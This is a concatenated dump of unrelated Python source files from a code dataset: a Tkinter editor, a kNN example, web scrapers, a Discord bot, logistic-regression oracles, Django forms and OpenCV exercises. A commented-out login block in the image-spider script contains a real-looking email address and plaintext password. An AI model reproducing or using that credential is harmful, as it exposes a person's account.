None\r\n\r\n\r\n''' INNER FUNCTIONS '''\r\n\r\n\r\ndef __window():\r\n win.wm_title(\"Featherweight\")\r\n win.geometry(\"%sx%s\" % (win_width, win_height))\r\n win.configure(bg=tcol)\r\n\r\n\r\ndef __frames():\r\n global tfr, bfr\r\n tfr = Frame(win, bg=tcol, width=win.winfo_screenwidth(), height=win.winfo_screenheight())\r\n bfr = Frame(win, bg=ccol, height=25, width=win.winfo_screenwidth())\r\n # pack in order\r\n bfr.pack(ipadx=150, side=\"bottom\")\r\n tfr.pack()\r\n\r\n\r\ndef __text():\r\n global tfr, bfr, txt, cmd\r\n txt = Text(tfr, bg=tcol, fg=\"white\", font=(\"System\", 10),\r\n insertbackground=\"white\", insertofftime=600,\r\n width=win_width, height=win_height)\r\n cmd = Text(bfr, bg=ccol, fg=\"white\", font=(\"System\", 8),\r\n insertbackground=\"#111111\", insertofftime=600,\r\n width=win_width, height=1)\r\n txt.bind(\"\", __parse)\r\n txt.bind(\"\", __tab)\r\n cmd.bind(\"\", __exec)\r\n txt.pack()\r\n cmd.pack()\r\n \r\n\r\ndef __parse(args):\r\n # print(\"ack\")\r\n pass\r\n\r\n\r\ndef __tab(args):\r\n global txt\r\n txt.insert(INSERT, \" \" * 4)\r\n return \"break\"\r\n\r\n\r\ndef __exec(args):\r\n global cmd\r\n com = cmd.get(\"1.0\", \"end-1c\")\r\n print(com)\r\n return \"break\"\r\n\r\n\r\n''' PUBLIC FUNCTIONS '''\r\n\r\n\r\ndef execute():\r\n __window()\r\n __frames()\r\n __text()\r\n win.mainloop()\r\n","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"173287531","text":"#===============================================================================\r\n# Copyright 2020-2021 Intel Corporation\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n#===============================================================================\r\n\r\n# daal4py Brute Force KNN example for shared memory systems\r\n\r\nimport daal4py as d4p\r\nimport numpy as np\r\nimport os\r\n\r\n# let's try to use pandas' fast csv reader\r\ntry:\r\n import pandas\r\n\r\n def read_csv(f, c, t=np.float64):\r\n return pandas.read_csv(f, usecols=c, delimiter=',', header=None, dtype=t)\r\nexcept ImportError:\r\n # fall back to numpy loadtxt\r\n def read_csv(f, c, t=np.float64):\r\n return np.loadtxt(f, usecols=c, delimiter=',', ndmin=2)\r\n\r\n\r\ndef main(readcsv=read_csv, method='defaultDense'):\r\n # Input data set parameters\r\n train_file = os.path.join('data', 'batch', 'k_nearest_neighbors_train.csv')\r\n predict_file = os.path.join('data', 'batch', 'k_nearest_neighbors_test.csv')\r\n\r\n # Read data. Let's use 5 features per observation\r\n nFeatures = 5\r\n nClasses = 5\r\n train_data = readcsv(train_file, range(nFeatures))\r\n train_labels = readcsv(train_file, range(nFeatures, nFeatures + 1))\r\n\r\n # Create an algorithm object and call compute\r\n train_algo = d4p.bf_knn_classification_training(nClasses=nClasses)\r\n # 'weights' is optional argument, let's use equal weights\r\n # in this case results must be the same as without weights\r\n weights = np.ones((train_data.shape[0], 1))\r\n train_result = train_algo.compute(train_data, train_labels, weights)\r\n\r\n # Now let's do some prediction\r\n predict_data = readcsv(predict_file, range(nFeatures))\r\n predict_labels = readcsv(predict_file, range(nFeatures, nFeatures + 1))\r\n\r\n # Create an algorithm object and call compute\r\n predict_algo = d4p.bf_knn_classification_prediction(nClasses=nClasses)\r\n predict_result = predict_algo.compute(predict_data, train_result.model)\r\n\r\n # We expect less than 170 mispredicted values\r\n assert np.count_nonzero(predict_labels != predict_result.prediction) < 170\r\n\r\n return (train_result, predict_result, predict_labels)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n (train_result, predict_result, predict_labels) = main()\r\n print(\"Brute Force kNN classification results:\")\r\n print(\"Ground truth(observations #30-34):\\n\", predict_labels[30:35])\r\n print(\r\n \"Classification results(observations #30-34):\\n\",\r\n predict_result.prediction[30:35]\r\n )\r\n","sub_path":"examples/daal4py/bf_knn_classification_batch.py","file_name":"bf_knn_classification_batch.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"581967190","text":"from urllib.parse import urljoin\nfrom bs4 import BeautifulSoup\n\nimport sys\n\nimport scrap_package as sp\n\n\ndef collect_url_home_all_category_func(url_site):\n \"\"\"\n Collecte la home page de toutes les catégories de livre du site\n 'https://books.toscrape.com/'.\n\n Ce module n'est appelé qu'avec les options 'all' et 'input'. La collecte ce\n fait par scraping de la home page du site.\n :example:\n 'https://books.toscrape.com/catalogue/category/books/mystery_3/index.html'\n\n :proceedings:\n\n :param url_site: Une constante URL_SITE_HOME\n Une CONSTANTE permettant de vériféier que l'url du site est exploitable.\n\n :type url_site:\n list de str.\n\n :return:\n url_home_all_category_book, contenant la home page de toutes les\n catégories de livre.\n \"\"\"\n\n # URL_HOME_SITE est la page d'accueil du site scrapper.\n URL_HOME_SITE = 'http://books.toscrape.com/'\n\n\n # Si url_site n'est pas ma constante URL_HOME_SITE, c'est que l'url est un input.\n # Alors on redefinit la constante comme input.\n if url_site != 'URL_HOME_SITE':\n URL_HOME_SITE = str(url_site)\n\n response_url_home_site = sp.rq_resp(URL_HOME_SITE)\n\n if response_url_home_site.ok != True:\n print('\\nL\\'accès au site \\'{}\\' est impossible.'.format(URL_HOME_SITE))\n return 0\n\n # Si la requête renvoi un code 200. Si l'url est la constante, alors\n # poursuite du script, sinon c'est que l'url valide est un input et dans ce\n # cas un message informe que le script n'est pas utilisable puis\n # l'interrompt.\n if response_url_home_site.ok == True:\n URL_P02 = 'http://books.toscrape.com'\n\n if URL_HOME_SITE != URL_P02 and URL_HOME_SITE != URL_P02 + '/':\n print('\\nCe scrip à été réalisé dans le cadre du deuxième projet du parcours '\n '\\'Développeur d\\'application - Python\\' d\\'OpenClassRooms.\\n'\n 'Il n\\'est pas adapté pour scraper un site différent de \\'http://books.toscrape.com/\\'\\n\\n'\n 'À bientôt sur ce site.'.format(URL_HOME_SITE))\n\n sys.exit()\n\n # Seules les pages d'accueil des catégories de livres contiennent\n # '/category/books/'. Je m'en sert donc pour détecter le noms des catégories\n # puis reconsruction des urls.\n soup_home_site = BeautifulSoup(response_url_home_site.content, 'html.parser')\n\n atag_home_site = soup_home_site.findAll('a')\n url_home_all_category_book = []\n for href_in_home_site in atag_home_site:\n if href_in_home_site.get('href').startswith('catalogue/category/books/'):\n url_home_all_category_book.append(urljoin(URL_HOME_SITE, href_in_home_site.get('href')))\n\n return url_home_all_category_book\n","sub_path":"scrap_package/a_collect_url_home_all_category.py","file_name":"a_collect_url_home_all_category.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"324824927","text":"from UI.GrammarUI import GrammarUI\nfrom domain.FiniteAutomaton import FiniteAutomaton\nfrom domain.Grammar import Grammar\n\ngrammar = Grammar()\ngrammar.read_file(\"inputs/grammar.json\")\nprint(grammar)\n\nif not grammar.is_regular():\n print(\"Grammar is not regular\")\nelse:\n print(\"Grammar is regular\")\n print()\n finite_automaton = FiniteAutomaton()\n finite_automaton.construct_from_grammar(grammar)\n print(\"Finite Automaton: \" + str(finite_automaton))\n#\n# grammarUI = GrammarUI(grammar)\n# grammarUI.show_elements()\n","sub_path":"LFTC/Scanner/GrammarMain.py","file_name":"GrammarMain.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"604788942","text":"from discord import Status\nfrom discord.ext import commands\nfrom django.templatetags.tz import localtime\nfrom django.utils import timezone\n\nfrom config.settings.base import BOT_TOKEN\nfrom project.bot.models import DiscordUser\n\nclient = commands.Bot(command_prefix='!')\nBOT_CHAT = '471377069981564931'\n\n\n@client.event\nasync def on_member_update(before, after):\n if after.nick: # library bag (T_T)\n is_online = True if after.status == Status.online else False\n DiscordUser.objects.update_or_create(\n discord_id=after.id,\n defaults={\n 'last_seen': timezone.now(),\n 'username': after.nick,\n 'is_online': is_online\n }\n )\n\n\ndef get_users_last_seen():\n return [\n f'{user.username} {localtime(user.last_seen).strftime(\"%Y-%m-%d %H:%M\")}'\n for user in DiscordUser.objects.filter(is_online=False)]\n\n\n@client.event\nasync def on_message(message):\n chat_message = None\n if message.content == '!last_seen':\n chat_message = '\\n'.join(get_users_last_seen())\n\n if chat_message:\n await client.send_message(message.author, chat_message)\n\n\nclient.run(BOT_TOKEN)\n","sub_path":"project/bot/management/commands/connectbot.py","file_name":"connectbot.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"316922581","text":"#!/usr/bin/python3\ndef divisible_by_2(my_list=[]):\n newlist = my_list.copy()\n j = 0\n for i in my_list:\n if i % 2 == 0:\n newlist[j] = True\n else:\n newlist[j] = False\n j += 1\n return(newlist)\n","sub_path":"0x03-python-data_structures/10-divisible_by_2.py","file_name":"10-divisible_by_2.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"156269311","text":"import re\nimport urllib\nimport urllib.request\nimport requests\n\nfrom collections import deque\n\nimport json\n\nimport threading\nimport time\n\n# 1.\n# url = 'http://www.baidu.com'\n\n# data = urllib.request.urlopen(url).read()\n# data = data.decode('UTF-8')\n# print(data)\n\n# 2.\n# data={}\n# data['word']='Jecvay Notes'\n \n# url_values=urllib.parse.urlencode(data)\n# url=\"http://www.baidu.com/s?\"\n# full_url=url+url_values\n \n# data=urllib.request.urlopen(full_url).read()\n# data=data.decode('UTF-8')\n# print(data)\n\n# 3.\n\ndef downloadImageFile(imgUrl): \n\tlocal_filename = imgUrl.split('/')[-1] \n\tprint(\"下载图片= %s \" % local_filename)\n\ttry:\n\t\tr = requests.get(imgUrl, stream=True) # here we need to set stream = True parameter \n\texcept:\n\t\tprint('图片连接错误【image url error】 --->' + imgUrl)\n\t\treturn\n\n\twith open(\"/Users/imac3/Documents/aSpider/image/\"+local_filename, 'wb') as f: \n\t\tfor chunk in r.iter_content(chunk_size=1024): \n\t\t\tif chunk: # filter out keep-alive new chunks \n\t\t\t\tf.write(chunk) \n\t\t\t\tf.flush() \n\treturn local_filename\n\n\nqueue = deque()\nvisited = set()\n\nindex = 1\nbaseurl = 'http://www.dbmn8.com/page/0?action=ajax_post&pag='\n# baseurl = 'http://www.dbmn8.com/page/'\nurl = baseurl + str(index)\n\nqueue.append(url)\ncnt = 0\n\ndataList = []\n\nwhile queue:\n\turl = queue.popleft()\n\tvisited |= {url}\n\n\tprint('已经抓取:' + str(cnt) + ' 正在抓取 <--- ' + url)\n\tcnt += 1\n\n\ttry:\n\t\t# urlop = urllib.request.urlopen(url, timeout=2)\n\t\tr = requests.get(url)\n\texcept:\n\t\tprint('打开连接错误 --->' + url)\n\t\tcontinue\n\t\n\t# if 'html' not in urlop.getheader('Content-Type'):\n\t# \tcontinue\n\tif 'html' not in r.headers['content-type']:\n\t\tcontinue\n\n\ttry: \n\t\tdata = r.text\n\t\t# data = urlop.read().decode('utf-8')\n\texcept:\n\t\tcontinue\n\n\tif len(data) <= 0:\n\t\tprint('没有数据 --->' + url)\n\t\tbreak\n\n\tlinkre = re.compile(r'class=\"img\".+?src=\".+?\"')\n\tfor x in linkre.findall(data):\n\n\t\tdataDict = {}\n\n\t\timgsourcelink = re.compile(r'class=\"img\".+?href=\"(.+?)\"')\n\t\tfor x1 in imgsourcelink.findall(x):\n\t\t\tif 'http' in x1:\n\t\t\t\tdataDict['imgSource'] = x1\n\t\t\telse:\n\t\t\t\tdataDict['imgSource'] = ''\n\n\t\timgsourcelink2 = re.compile(r'title=\"(.+?)\"')\n\t\tfor x2 in imgsourcelink2.findall(x):\n\t\t\tif x2:\n\t\t\t\tdataDict['title'] = x2\n\t\t\telse:\n\t\t\t\tdataDict['title'] = ''\n\n\t\timgsourcelink3 = re.compile(r'src=\"(.+?)\"')\n\t\tfor x3 in imgsourcelink3.findall(x):\n\t\t\tif 'http' in x3:\n\t\t\t\tdataDict['img'] = x3\n\t\t\t\tt = threading.Thread(target=downloadImageFile, args=(x3,))\n\t\t\t\tt.start()\n\t\t\telse:\n\t\t\t\tdataDict['img'] = ''\n\n\t\tif len(x1)!=0 or len(x2)!=0 or len(x3)!=0:\n\t\t\tdataList.append(dataDict)\n\n\tindex += 1\n\tqueue.append(baseurl + str(index))\n\tprint('加入队列 --->' + baseurl + str(index))\n\n# print('datalist = %s' % dataList)\n\njsonstr = json.dumps(dataList)\n\nf = open('/Users/imac3/Documents/aSpider/data.json', 'w')\nf.write(jsonstr)\nf.close()\n\n# 4.\n# import gzip\n# import re\n# import http.cookiejar\n# import urllib.request\n# import urllib.parse\n\n# def ungzip(data):\n# \ttry:\n# \t\tprint('正在解压')\n# \t\tdata = gzip.decompress(data)\n# \t\tprint('解压完毕')\n# \texcept:\n# \t\tprint('未经解压,无需解压')\n# \treturn data\n\n\n# def getXSRF(data):\n# \tcer = re.compile('name=\"_xsrf\" value=\"(.*)\"', flags = 0)\n# \tstrlist = cer.findall(data)\n# \treturn strlist[0]\n\n# def getOpener(head):\n# \tcj = http.cookiejar.CookieJar()\n# \tpro = urllib.request.HTTPCookieProcessor(cj)\n# \topener = urllib.request.build_opener(pro)\n# \theader = []\n# \tfor key, value in head.items():\n# \t\telem = (key, value)\n# \t\theader.append(elem)\n# \topener.addheaders = header\n# \treturn opener\n\n# header = {\n# \t'Connection':'Keep-Alive',\n# \t'Accept': 'text/html, application/xhtml+xml, */*',\n# \t'Accept-Language': 'en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3',\n# \t'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',\n# \t'Accept-Encoding': 'gzip, deflate',\n# \t'Host': 'www.zhihu.com',\n# \t'DNT': '1'\n# }\n\n# url = 'http://www.zhihu.com/'\n# opener = getOpener(header)\n# op = opener.open(url)\n# data = op.read()\n# data = ungzip(data)\n# _xsrf = getXSRF(data.decode())\n\n# url += 'login'\n# id = '442377973@qq.com'\n# password = 'ICEFREER00'\n# postDict = {\n# \t'_xsrf':_xsrf,\n# \t'email':id,\n# \t'password':password,\n# \t'rememberme':'y'\n# }\n\n# postData = urllib.parse.urlencode(postDict).encode()\n# op = opener.open(url, postData)\n# data = op.read()\n# data = ungzip(data)\n\n# pring(data.decode())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"aSpider.py","file_name":"aSpider.py","file_ext":"py","file_size_in_byte":4404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"463763476","text":"import numpy as np\nimport scipy\nfrom scipy.special import logsumexp\nfrom scipy.sparse import spdiags\n\n\nclass BinaryLogistic():\n \n def __init__(self, l2_coef):\n \n self.lambda_2 = l2_coef\n \n def func(self, X, y, w):\n if scipy.sparse.issparse(X):\n t = np.sum(np.logaddexp(0, - y * X.dot(w.T))) / X.shape[0]\n else:\n t = np.sum(np.logaddexp(0, - y * np.dot(X, w))) / X.shape[0]\n return self.lambda_2 * (np.linalg.norm(w) ** 2) / 2 + t\n \n def grad(self, X, y, w, s=0):\n \n if len(X.shape) == 1:\n if scipy.sparse.issparse(X):\n n = scipy.special.expit(- y * X.dot(w.T))\n t = spdiags(y, 0, X.shape[0], X.shape[0]).dot(X).T.dot(n)\n else:\n t = np.diag(y).dot(X).T.dot(scipy.special.expit(- y * X.dot(w.T)))\n else:\n if scipy.sparse.issparse(X):\n n = scipy.special.expit(- y * X.dot(w.T))\n t = spdiags(y, 0, X.shape[0], X.shape[0]).dot(X).T.dot(n) / X.shape[0]\n else:\n t = np.diag(y).dot(X).T.dot(scipy.special.expit(- y * X.dot(w.T))) / X.shape[0]\n\n return self.lambda_2 * w - t\n \n \nclass MulticlassLogistic():\n \n def __init__(self, class_number=0, l2_coef=1e-5):\n \n self.class_number = class_number\n self.lambda_2 = l2_coef\n \n def func(self, X, y, w):\n matrix = (X.dot(w.T)).T\n max = np.max(matrix, axis=0)\n matrix = matrix - max\n log_exp = matrix[y, np.arange(X.shape[0])]\n log_sum = logsumexp(matrix, axis=0)\n r = self.lambda_2 * np.sum(np.linalg.norm(w, axis=1) ** 2) / 2\n return r + np.sum(log_sum - log_exp, axis=0) / X.shape[0]\n \n def grad(self, X, y, w):\n if self.class_number == 0:\n self.class_number = np.max(y) + 1\n matrix = (X.dot(w.T)).T\n max = np.max(matrix, axis=0)\n matrix = matrix - max\n sum = np.exp(logsumexp(matrix, axis=0))\n grad = np.empty_like(w)\n for j in np.arange(w.shape[0]):\n one = np.sum(X[np.where(y == j)], axis=0) / X.shape[0]\n e = np.exp(matrix[j])\n if scipy.sparse.issparse(X):\n two = X.transpose().dot(e / sum) / X.shape[0]\n else:\n two = X.T.dot(e / sum) / X.shape[0]\n grad[j] = - one + two + self.lambda_2 * w[j]\n return grad\n","sub_path":"oracles.py","file_name":"oracles.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"202511767","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 23 18:45:49 2018\n\n@author: vineet\n\"\"\"\n\n#import pandas as pd\n\n\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\np_graph = nx.Graph()\n\np_graph.add_node(\"A\")\np_graph.add_node(\"B\")\np_graph.add_node(\"C\")\np_graph.add_node(\"D\")\np_graph.add_node(\"E\")\np_graph.add_node(\"F\")\n\np_graph.add_edge(\"A\",\"B\")\np_graph.add_edge(\"A\",\"C\")\np_graph.add_edge(\"B\",\"C\")\np_graph.add_edge(\"B\",\"D\")\np_graph.add_edge(\"C\",\"D\")\np_graph.add_edge(\"D\",\"F\")\np_graph.add_edge(\"D\",\"E\")\np_graph.add_edge(\"C\",\"F\")\n\n\nassert len(p_graph.nodes()) == 6\nassert len(p_graph.edges()) == 8\n\n\nnx.draw(p_graph)\nplt.show()\n\n\ndef friends(graph,user):\n return set(graph.neighbors(user))\n\n#m= friends(p_graph,'A')\n#print(m)\n\ndef friends_of_friends(graph,user):\n userfriends = friends(graph,user)\n finalfriends = set()\n for names in userfriends:\n \n friends_of_userfriends = friends(graph,names)\n for names2 in friends_of_userfriends:\n if(names2 not in userfriends and names2 != user):\n finalfriends.add(names2)\n return finalfriends\n\n#n = friends_of_friends(p_graph,'A')\n#print(n)\n \n\n \ndef common_friends(graph,user1,user2):\n user1friends = friends(graph,user1)\n user2friends = friends(graph,user2)\n commonfriends = user1friends.intersection(user2friends)\n return commonfriends\n\n\n#o = common_friends(p_graph,'A','E')\n#print(o)\n \n\n#p = set(p_graph.nodes())\n#type(p)\n\n\ndef number_of_common_friends_map(graph,user):\n all_names = set(p_graph.nodes())\n all_names.remove(user)\n users_friends = friends(graph,user)\n friend_map = {}\n for names in all_names:\n temp_friends = common_friends(graph,user,names)\n num_friends = len(temp_friends)\n if num_friends>0 and names not in users_friends:\n friend_map[names] = num_friends\n return friend_map\n\n\n\nq = number_of_common_friends_map(p_graph,'A')\nprint(q)\n \nimport operator\ndef number_map_sorted_list(friendmap):\n temp_list=sorted(friendmap.items(),key=operator.itemgetter(1),reverse=True)\n friend_list = [items[0] for items in temp_list]\n return friend_list\n\n#r = number_map_sorted_list(q)\n#print(r)\n \n\ndef recommend_by_number_of_common_friends(graph,user):\n friendmap = number_of_common_friends_map(graph,user)\n friend_recommend = number_map_sorted_list(friendmap)\n return friend_recommend\n\ns = recommend_by_number_of_common_friends(p_graph,'A')\nprint(s)\nt = recommend_by_number_of_common_friends(p_graph,'D')\nprint(t)\nu = recommend_by_number_of_common_friends(p_graph,'F')\nprint(u)\n","sub_path":"mlproject.py","file_name":"mlproject.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"462312767","text":"from django import forms\n\nfrom fas_questionnaire.forms.common import ListTextWidget\nfrom fas_questionnaire.models.common import Month\nfrom ..models.page20 import *\n\n\nclass OutstandingLoansForm(forms.ModelForm):\n\n class Meta:\n model = OutstandingLoans\n exclude = ['household']\n widgets = None\n localized_fields = None\n labels = {}\n help_texts = {}\n error_messages = {}\n\n def __init__(self, *args, **kwargs):\n super(OutstandingLoansForm, self).__init__(*args, **kwargs)\n source_of_borrowing_list = SourceOfBorrowing.objects.values_list('source_of_borrowing')\n self.fields['source_of_borrowing'].widget = ListTextWidget(data_list=source_of_borrowing_list, name='source_of_borrowing-list')\n purpose_of_borrowing_list = PurposeOfBorrowing.objects.values_list('purpose_of_borrowing')\n self.fields['purpose_of_borrowing'].widget = ListTextWidget(data_list=purpose_of_borrowing_list, name='purpose_of_borrowing-list')\n\n\nclass LoansBorrowedLastYearAndRepaidForm(forms.ModelForm):\n\n class Meta:\n model = LoansBorrowedLastYearAndRepaid\n exclude = ['household']\n widgets = None\n localized_fields = None\n labels = {}\n help_texts = {}\n error_messages = {}\n\n def __init__(self, *args, **kwargs):\n super(LoansBorrowedLastYearAndRepaidForm, self).__init__(*args, **kwargs)\n month_when_fully_repaid_list = Month.objects.values_list('month')\n self.fields['month_when_fully_repaid'].widget = ListTextWidget(data_list=month_when_fully_repaid_list, name='month_when_fully_repaid-list')\n source_of_borrowing_list = SourceOfBorrowing.objects.values_list('source_of_borrowing')\n self.fields['source_of_borrowing'].widget = ListTextWidget(data_list=source_of_borrowing_list, name='source_of_borrowing-list')\n purpose_of_borrowing_list = PurposeOfBorrowing.objects.values_list('purpose_of_borrowing')\n self.fields['purpose_of_borrowing'].widget = ListTextWidget(data_list=purpose_of_borrowing_list, name='purpose_of_borrowing-list')\n\n\n\n\nclass MembershipInSelfHelpGroupsForm(forms.ModelForm):\n\n class Meta:\n model = MembershipInSelfHelpGroups\n exclude = ['household']\n widgets = None\n localized_fields = None\n labels = {}\n help_texts = {}\n error_messages = {}\n\n def __init__(self, *args, **kwargs):\n super(MembershipInSelfHelpGroupsForm, self).__init__(*args, **kwargs)\n bank_ngo_to_which_the_group_is_linked_list = BankNgoToWhichTheGroupIsLinked.objects.values_list('bank_ngo_to_which_the_group_is_linked')\n self.fields['bank_ngo_to_which_the_group_is_linked'].widget = ListTextWidget(data_list=bank_ngo_to_which_the_group_is_linked_list, name='bank_ngo_to_which_the_group_is_linked-list')\n\n\nclass DetailsOfBankPostofficeAccountOfTheHouseholdForm(forms.ModelForm):\n\n class Meta:\n model = DetailsOfBankPostofficeAccountOfTheHousehold\n exclude = ['household']\n widgets = None\n localized_fields = None\n labels = {}\n help_texts = {}\n error_messages = {}\n\n def __init__(self, *args, **kwargs):\n super(DetailsOfBankPostofficeAccountOfTheHouseholdForm, self).__init__(*args, **kwargs)\n name_of_bank_post_office_list = NameOfBankPostOffice.objects.values_list('name_of_bank_post_office')\n self.fields['name_of_bank_post_office'].widget = ListTextWidget(data_list=name_of_bank_post_office_list, name='name_of_bank_post_office-list')\n type_of_account_list = TypeOfAccount.objects.values_list('type_of_account')\n self.fields['type_of_account'].widget = ListTextWidget(data_list=type_of_account_list, name='type_of_account-list')\n","sub_path":"fas_questionnaire_site/fas_questionnaire/forms/page20.py","file_name":"page20.py","file_ext":"py","file_size_in_byte":3751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"429132789","text":"class FileNotFoundException(Exception):\n\n def __init__(self, filepath):\n\n self.message = (\n \"404'd! FILE NOT FOUND. Boy, you sure are stupid. Were you just making up names of files, or \" +\n \"what? I mean, I've seen some pretend file names in my day, but '\" + filepath + \"'?! It's \" +\n \"like you're not even trying. In closing, go away.\")\n\n super(FileNotFoundException, self).__init__(self.message, filepath)\n","sub_path":"app/exceptions/file_not_found_exception.py","file_name":"file_not_found_exception.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"624060959","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef zad1():\n def trackbar1(x):\n print('Trackbar R value: ' + str(x))\n\n def trackbar2(x):\n print('Trackbar G value: ' + str(x))\n\n def trackbar3(x):\n print('Trackbar B value: ' + str(x))\n\n def switch_(x):\n print('Switch value: ' + str(x))\n\n\n # Create a black image, a window\n img = np.zeros((300,512,3), np.uint8)\n cv2.namedWindow('image')\n\n # create trackbars for color change\n cv2.createTrackbar('R','image',0,255,trackbar1)\n cv2.createTrackbar('G','image',0,255,trackbar2)\n cv2.createTrackbar('B','image',0,255,trackbar3)\n\n # create switch for ON/OFF functionality\n switch = '0 : OFF \\n1 : ON'\n cv2.createTrackbar(switch, 'image',0,1,switch_)\n\n while(1):\n cv2.imshow('image',img)\n k = cv2.waitKey(1) & 0xFF\n if k == 27:\n break\n\n # get current positions of four trackbars\n r = cv2.getTrackbarPos('R','image')\n g = cv2.getTrackbarPos('G','image')\n b = cv2.getTrackbarPos('B','image')\n s = cv2.getTrackbarPos(switch,'image')\n\n if s == 0:\n img[:] = 0\n else:\n img[:] = [b,g,r]\n\n cv2.destroyAllWindows()\n\n\ndef zad2():\n img = cv2.imread('img.png', 0)\n ret, thresh1 = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY)\n ret, thresh2 = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY_INV)\n ret, thresh3 = cv2.threshold(img, 127, 255, cv2.THRESH_TRUNC)\n ret, thresh4 = cv2.threshold(img, 127, 255, cv2.THRESH_TOZERO)\n ret, thresh5 = cv2.threshold(img, 127, 255, cv2.THRESH_TOZERO_INV)\n\n titles = ['Original Image', 'BINARY', 'BINARY_INV', 'TRUNC', 'TOZERO', 'TOZERO_INV']\n images = [img, thresh1, thresh2, thresh3, thresh4, thresh5]\n\n for i in range(6):\n plt.subplot(2, 3, i + 1), plt.imshow(images[i], 'gray')\n plt.title(titles[i])\n plt.xticks([]), plt.yticks([])\n\n plt.show()\n\ndef zad2_todo():\n def trackbar1(x):\n ret, thresh1 = cv2.threshold(img, x, 255, cv2.THRESH_BINARY)\n cv2.imshow('image', thresh1)\n\n img = cv2.imread('img.png', 0)\n cv2.namedWindow('image')\n cv2.createTrackbar('BINARY', 'image', 0, 255, trackbar1)\n ret, thresh = cv2.threshold(img, 0, 255, cv2.THRESH_BINARY)\n cv2.imshow('image', thresh)\n\n while(1):\n bin_ = cv2.getTrackbarPos('BINARY', 'image')\n k = cv2.waitKey(1) & 0xFF\n if k == 27:\n break\n\n cv2.destroyAllWindows()\n\n\ndef check_time(func):\n def fun_wrapper(interpolation_, img, window_name):\n e1 = cv2.getTickCount()\n func(interpolation_, img, window_name)\n e2 = cv2.getTickCount()\n time = (e2 - e1) / cv2.getTickFrequency()\n print(window_name+\": \"+str(time)+\" seconds\")\n return fun_wrapper\n\n@check_time\ndef resize_(interpolation_, img, window_name):\n pom = cv2.resize(img, dsize=(500,500), interpolation=interpolation_)\n cv2.imshow(window_name,pom)\n\n\ndef zad3():\n img = cv2.imread('img.png', 0)\n\n resize_(cv2.INTER_LINEAR, img, \"INTER_LINEAR\")\n resize_(cv2.INTER_AREA, img, \"INTER_AREA\")\n resize_(cv2.INTER_CUBIC, img, \"INTER_CUBIC\")\n resize_(cv2.INTER_LANCZOS4, img, \"INTER_LANCZOS4\")\n\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\ndef zad4():\n img1 = cv2.imread('img.png')\n img2 = cv2.imread('1.png')\n\n i1 = cv2.resize(img1, dsize=(400, 400))\n i2 = cv2.resize(img2, dsize=(400, 400))\n\n dst = cv2.addWeighted(i1, 0.7, i2, 0.3, 0)\n\n cv2.imshow('dst', dst)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\ndef nwm():\n def trackbar1(x):\n ret, thresh1 = cv2.threshold(img, x, 255, cv2.THRESH_BINARY)\n cv2.imshow('image', thresh1)\n\n img1 = cv2.imread('img.png')\n img2 = cv2.imread('1.png')\n\n i1 = cv2.resize(img1, dsize=(400, 400), interpolation=cv2.INTER_LINEAR)\n i2 = cv2.resize(img2, dsize=(400, 400), interpolation=cv2.INTER_LINEAR)\n\n dst = cv2.addWeighted(i1, 0.7, i2, 0.3, 0)\n\n cv2.imshow('dst', dst)\n\n cv2.namedWindow('image')\n cv2.createTrackbar('BINARY', 'image', 0, 255, trackbar1)\n\n\n while(1):\n bin_ = cv2.getTrackbarPos('BINARY', 'image')\n k = cv2.waitKey(1) & 0xFF\n if k == 27:\n break\n\n cv2.destroyAllWindows()\n\n\nif __name__ == '__main__':\n input = input(\"$> \")\n input = str(input)\n if(input == '1'):\n zad1()\n elif(input == '2'):\n zad2()\n elif(input == '2todo'):\n zad2_todo()\n elif(input == '3'):\n zad3()\n elif(input == '4'):\n zad4()\n elif(input == 'nwm'):\n nwm()\n else:\n print(\"nope\")\n","sub_path":"opencv/lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} 